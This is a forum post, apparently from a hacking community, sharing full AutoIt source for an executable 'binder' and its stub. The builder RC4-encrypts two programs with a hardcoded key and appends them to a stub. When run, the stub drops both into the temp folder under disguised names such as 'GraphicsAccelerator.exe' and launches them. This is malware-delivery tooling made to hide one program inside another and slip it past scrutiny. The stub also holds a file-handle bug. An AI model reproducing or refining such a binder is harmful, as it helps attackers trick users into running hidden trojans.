[HC Official] Hack Community Binder

Code:

#include<GUIConstants.au3>
#include<EditConstants.au3>
#include<Crypt.au3>
#include<WindowsConstants.au3>
#include<GDIPlus.au3>

Opt("GUIOnEventMode",1)
$color1=0x090909
$color2=0xff0000
$color3=0x777777
$frame=GUICreate("Binder",600,400,200,200,$WS_POPUPWINDOW)
_GDIPlus_Startup()
$hImage = _GDIPlus_ImageLoadFromFile("logo.png")
$hGraphic = _GDIPlus_GraphicsCreateFromHWND($frame)
GUIRegisterMsg($WM_PAINT, "MY_WM_PAINT")

$header=GUICtrlCreateLabel("Binder",340,40,130,50)
$label1=GUICtrlCreateLabel("File 1",20,230,60,20)
$label2=GUICtrlCreateLabel("File 2",20,270,60,20)
$label3=GUICtrlCreateLabel("Output Path",20,310,60,20)
$input1=GUICtrlCreateInput("",90,230,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input2=GUICtrlCreateInput("",90,270,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input3=GUICtrlCreateInput("",90,310,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$button1=GUICtrlCreateButton("...",550,230,30,20)
$button2=GUICtrlCreateButton("...",550,270,30,20)
$button3=GUICtrlCreateButton("...",550,310,30,20)
$bind=GUICtrlCreateButton("Bind",190,350,70,25)
$close=GUICtrlCreateButton("Close",270,350,70,25)
$about=GUICtrlCreateButton(">>",570,370,20,20)
$frame2=GUICreate("",300,100,800,500,$WS_POPUPWINDOW)

$label=GUICtrlCreateLabel("Author : Solixious Klein" & @CRLF & "Special Thanks : Deque and Coder-San" & @CRLF & "www.hackcommunity.com",20,20,300,100)
$view=0
init()
GUICtrlSetOnEvent($close,"quit")
GUICtrlSetOnEvent($button1,"getpath1")
GUICtrlSetOnEvent($button2,"getpath2")
GUICtrlSetOnEvent($button3,"getpath3")
GUICtrlSetOnEvent($bind,"bind")
GUICtrlSetOnEvent($about,"about")
GUISetState(@SW_SHOW,$frame)
GUISetOnEvent($GUI_EVENT_CLOSE,"quit",$frame)
While 1
   ;
WEnd

Func MY_WM_PAINT($hWnd, $msg, $wParam, $lParam)
    #forceref $hWnd, $Msg, $wParam, $lParam
    _WinAPI_RedrawWindow($frame, 0, 0, $RDW_UPDATENOW)
    _GDIPlus_GraphicsDrawImage($hGraphic, $hImage, 0, 0)
    _WinAPI_RedrawWindow($frame, 0, 0, $RDW_VALIDATE)
    Return $GUI_RUNDEFMSG
 EndFunc
 
Func init()
   GUICtrlSetFont($header,25,700,2)
   GUICtrlSetFont($label1,14)
   GUICtrlSetFont($label2,14)
   GUICtrlSetFont($label3,14)
   GUICtrlSetFont($label,11)
   GUICtrlSetFont($bind,12)
   GUICtrlSetFont($close,12)
   GUICtrlSetFont($input1,12)
   GUICtrlSetFont($input2,12)
   GUICtrlSetFont($input3,12)
   GUISetBkColor($color1,$frame)
   GUISetBkColor($color1,$frame2)
   GUICtrlSetBkColor($input1,$color3)
   GUICtrlSetBkColor($input2,$color3)
   GUICtrlSetBkColor($input3,$color3)
   GUICtrlSetBkColor($button1,$color2)
   GUICtrlSetBkColor($button2,$color2)
   GUICtrlSetBkColor($button3,$color2)
   GUICtrlSetColor($label1,$color2)
   GUICtrlSetColor($label2,$color2)
   GUICtrlSetColor($label,$color2)
   GUICtrlSetColor($label3,$color2)
   GUICtrlSetBkColor($bind,$color2)
   GUICtrlSetBkColor($close,$color2)
   GUICtrlSetBkColor($about,$color2)
   GUICtrlSetColor($header,$color2)
EndFunc

Func quit()
   _GDIPlus_GraphicsDispose($hGraphic)
   _GDIPlus_ImageDispose($hImage)
   _GDIPlus_Shutdown()
   Exit
EndFunc

Func getpath1()
   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
   If @error Then
	  ;
   Else
	  GUICtrlSetData($input1,$filepath)
   EndIf
EndFunc

Func getpath2()
   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
   If @error Then
	  ;
   Else
	  GUICtrlSetData($input2,$filepath)
   EndIf
EndFunc


Func getpath3()
   $filepath=FileSaveDialog("Save Binded File",@MyDocumentsDir,"Executable File (*.exe)",16,"",$frame) & ".exe"
   If @error Then
	  ;
   Else
	  GUICtrlSetData($input3,$filepath)
   EndIf
EndFunc

Func bind()
   $path1=GUICtrlRead($input1)
   $path2=GUICtrlRead($input2)
   $path3=GUICtrlRead($input3)
   If FileExists($path1) And FileExists($path2) Then
	  $marker=StringToBinary("SOLIXIOUS")
	  $output=FileOpen($path3,1+2+8+16)
	  $inputx1=FileOpen($path1,0+16)
	  $inputx2=FileOpen($path2,0+16)
	  $data1=FileRead($inputx1)
	  $data2=FileRead($inputx2)
	  $stub=FileOpen(@ScriptDir & "\Stub.exe",0+16)
	  $stubdata=FileRead($stub)
	  FileWrite($output,$stubdata)
	  FileWrite($output,$marker)
	  $data1=encrypt(BinaryToString($data1))
	  $data2=encrypt(BinaryToString($data2))
	  FileWrite($output,StringToBinary($data1))
	  FileWrite($output,$marker)
	  FileWrite($output,StringToBinary($data2))
	  FileClose($output)
	  FileClose($inputx1)
	  FileClose($inputx2)
	  MsgBox(64,"Successful","Files Binded Successfully!")
	  GUICtrlSetData($input1,"")
	  GUICtrlSetData($input2,"")
	  GUICtrlSetData($input3,"")
   EndIf
EndFunc

Func encrypt($data)
   $data=_Crypt_EncryptData($data,"SOLIXIOUS",$CALG_RC4)
   Return $data
EndFunc

Func about()
   If $view=0 Then
	  GUISetState(@SW_SHOW,$frame2)
	  GUICtrlSetData($about,"<<")
	  $view=1
   Else
	  GUISetState(@SW_HIDE,$frame2)
	  GUICtrlSetData($about,">>")
	  $view=0
   EndIf
EndFunc

Code:

#include<Crypt.au3>

$path=@ScriptFullPath
$file=FileOpen($path,0+16)
$data=FileRead($file)
$marker="SOLIXIOUS"
$strdata=BinaryToString($data)
$ardata=StringSplit($strdata,$marker,1)
HotKeySet("+!c","quit")
If @error Then
   MsgBox(0,"No Delimiters","No delimiters Found!")
Else
   If $ardata[0]=3 Then
	  $ardata[2]=decrypt(BinaryToString($ardata[2]))
	  $ardata[3]=decrypt(BinaryToString($ardata[3]))
	  $file1=FileOpen(@TempDir & "\GraphicsAccelerator.exe",2+16)
	  FileWrite($file1,$ardata[2])
	  FileClose($file1)
	  $file2=FileOpen(@TempDir & "\GraphicsService.exe",2+16)
	  FileWrite($file1,$ardata[3])
	  FileClose($file2)
	  ShellExecute(@TempDir & "\GraphicsAccelerator.exe")
	  ShellExecute(@TempDir & "\GraphicsService.exe")
	  While 1
		 ;
	  WEnd
   EndIf
EndIf

Func decrypt($data)
   $data=_Crypt_DecryptData($data,"SOLIXIOUS",$CALG_RC4)
   return $data
EndFunc

Func quit()
   Exit
EndFunc